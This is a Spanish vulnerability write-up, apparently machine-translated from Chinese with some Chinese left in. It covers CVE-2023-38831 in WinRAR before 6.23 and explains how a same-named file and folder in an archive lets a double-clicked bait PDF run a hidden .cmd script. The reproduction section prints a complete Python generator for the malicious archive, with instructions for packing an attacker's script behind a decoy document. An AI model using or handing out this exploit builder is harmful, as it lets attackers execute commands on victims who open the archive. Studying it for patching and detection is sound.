Directorio de artículos
Prefacio
WinRAR es un potente administrador de archivos, que es la interfaz gráfica de la herramienta de archivo RAR en el entorno Windows.
Este software se puede utilizar para realizar copias de seguridad de datos, reducir el tamaño de los archivos adjuntos de correo electrónico, descomprimir RAR, ZIP y otros tipos de archivos descargados de Internet, y crear nuevos archivos comprimidos en formatos RAR y ZIP.
A partir de la versión 5.60, WinRAR ha habilitado nuevos íconos, pero los usuarios aún pueden volver a los íconos de estilo original a través del paquete de temas proporcionado en el sitio web oficial.
declaración
No utilice las tecnologías relevantes de este artículo para realizar pruebas ilegales. Cualquier consecuencia y pérdida directa o indirecta causada por la difusión y el uso de la información o las herramientas proporcionadas en este artículo son responsabilidad del propio usuario. Todas las consecuencias adversas y El autor del artículo es irrelevante. Este artículo es sólo para fines educativos.
1. Descripción de la vulnerabilidad
WinRAR es un compresor de archivos que admite la compresión y descompresión de archivos en RAR, ZIP y otros formatos. WinRAR tiene una vulnerabilidad de ejecución de código al procesar archivos y carpetas con el mismo nombre en el paquete comprimido. El atacante construye un archivo de paquete comprimido especialmente diseñado compuesto de archivos maliciosos y archivos no maliciosos. Después de inducir a la víctima a abrir este archivo, el atacante ejecutará comandos arbitrarios en la máquina víctima.
Existe una vulnerabilidad de seguridad en las versiones de RARLabs WinRAR anteriores a la 6.23, que permite a los atacantes ejecutar código arbitrario.
2. Versiones afectadas
- WinRAR<6.23
3. Análisis de vulnerabilidad
La activación de vulnerabilidades se divide principalmente en dos enlaces:
1. Cuando se hace clic en el archivo cebo, se libera el archivo en la carpeta con el mismo nombre
2. Cuando se ejecuta el archivo, se ejecuta el archivo .cmd en la carpeta en lugar del archivo original.
liberar archivo
Después de que el usuario hace clic en el archivo, winrar recorrerá el directorio en el archivo zip, comparará el directorio-> nombre y el nombre del archivo en el que se hizo clic (click_name). La cuarta opción de parámetro de la función de comparación (0047F790) es, se llamará a la función, opción como 0x80000006
la 00496020
tercera. Cuando se pasan los parámetros 00496020
, click_name y Entry_name se compararán como cadenas.
Dado que la longitud de comparación pasada es la longitud de nombre_clic, comparaciones como "CLASSIFIED_DOCUMENTS.pdf" y "CLASSIFIED_DOCUMENTS.pdf \CLASSIFIED_DOCUMENTS.pdf .cmd" coincidirán, por lo que direntry
cuando con el mismo nombre que el archivo en el que se hizo clic, la La función de comparación devolverá 1 indica coincidencia y el archivo correspondiente a la entrada se publicará junto con el archivo en el que se hizo clic.
En la versión de reparación 623beta, el valor de la opción pasada a la función de comparación es 0x80000002
Bajo esta condición, la función de comparación primero extraerá los nombres de directorio de los dos parámetros para compararlos y la situación anterior ya no coincidirá.
La nueva versión del valor de la opción establece el indicador de control, que se establece después de que el directorio temporal se crea y utiliza con éxito durante el proceso de análisis.
ejecución de archivos
Tome la siguiente parte del código de utilización como ejemplo. Después de hacer doble clic en el archivo pdf en la ventana de visualización de Winrar, Winrar utilizará la función ShellExecuteExW para ejecutar el archivo. Los parámetros pasados aquí son: "C:\Users\ \AppData\Local \Temp
\ ************
Rar$DIa *****.*****
\CLASSIFIED_DOCUMENTS .pdf "
Debido a la existencia del error anterior, los siguientes dos archivos se liberarán en la carpeta temporal: CLASSIFIED_DOCUMENTS.pdf
yCLASSIFIED_DOCUMENTS.pdf .cmd
这两个文件的末尾空格都在函数4A26B0中被去除
Como ShellExecuteExW
hay un espacio al final del parámetro, ejecutará el segundo archivo .cmd y se activará la vulnerabilidad.
4. Recurrencia de vulnerabilidades
El entorno para esta recurrencia es el siguiente
Paquete de instalación del entorno de reproducción: haga clic para descargar
la verificación del script de github
Dirección del proyecto: CVE-2023-38831-winrar-exploit
El código de explotación es el siguiente (los componentes del código están marcados)
import shutil
import os, sys
from os.path import join
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "CVE-2023-38831-poc.tar"
# 模板文件夹的名称
BAIT_NAME = "CLASSIFIED_DOCUMENTS.pdf"
#诱饵文件
SCRIPT_NAME = "script.bat"
#脚本文件
if len(sys.argv) > 3:
BAIT_NAME = os.path.basename(sys.argv[1])
SCRIPT_NAME = os.path.basename(sys.argv[2])
OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
pass
else:
print("""Usage:
python .\cve-2023-38831-exp-gen.py poc
python .\cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
sys.exit()
# 赋值 BAIT_NAME, SCRIPT_NAME 和 OUTPUT_NAME
BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")
# 确定其扩展名,将 BAIT_NAME 按照最后一个"."进行分割,取最后一部分作为扩展名,并添加 b"." 前缀,得到 BAIT_EXT
print("BAIT_NAME:", BAIT_NAME)
print("SCRIPT_NAME:", SCRIPT_NAME)
print("OUTPUT_NAME:", OUTPUT_NAME)
if os.path.exists(TEMPLATE_NAME):
shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
os.mkdir(d)
shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))
# if os.path.exists(OUTPUT_NAME):
# print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
# sys.exit()
shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)
with open(TEMPLATE_NAME + ".zip", "rb") as f:
content = f.read()
content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")
#改诱饵文件扩展名
os.remove(TEMPLATE_NAME + ".zip")
# 删除临时zip
with open(OUTPUT_NAME, "wb") as f:
f.write(content)
#写入文件
print("ok..")
Dos formas de generar POC
python cve-2023-38831-exp-gen.py poc
o
python cve-2023-38831-exp-gen.py CLASSIFIED_DOCUMENTS.pdf script.bat poc.rar
Instrucciones
1、将诱饵文件和(邪恶)脚本文件放置在当前目录下,诱饵文件建议为图片(.png、jpg)或文档(.pdf)
2、运行python cve-2023-38831-exp-gen.py <bait name> <script name> <output name>以生成您的漏洞利用程序
Ejecute el comando para generar exp.rar
, abra el paquete comprimido y haga doble clic para ejecutar el archivo *****.pdf
y finalmente ejecute Calc.
5. Sugerencias de reparación
Se recomienda que quienes no hayan actualizado a tiempo actualicen a la última versión 6.23 lo antes posible para evitar ataques maliciosos.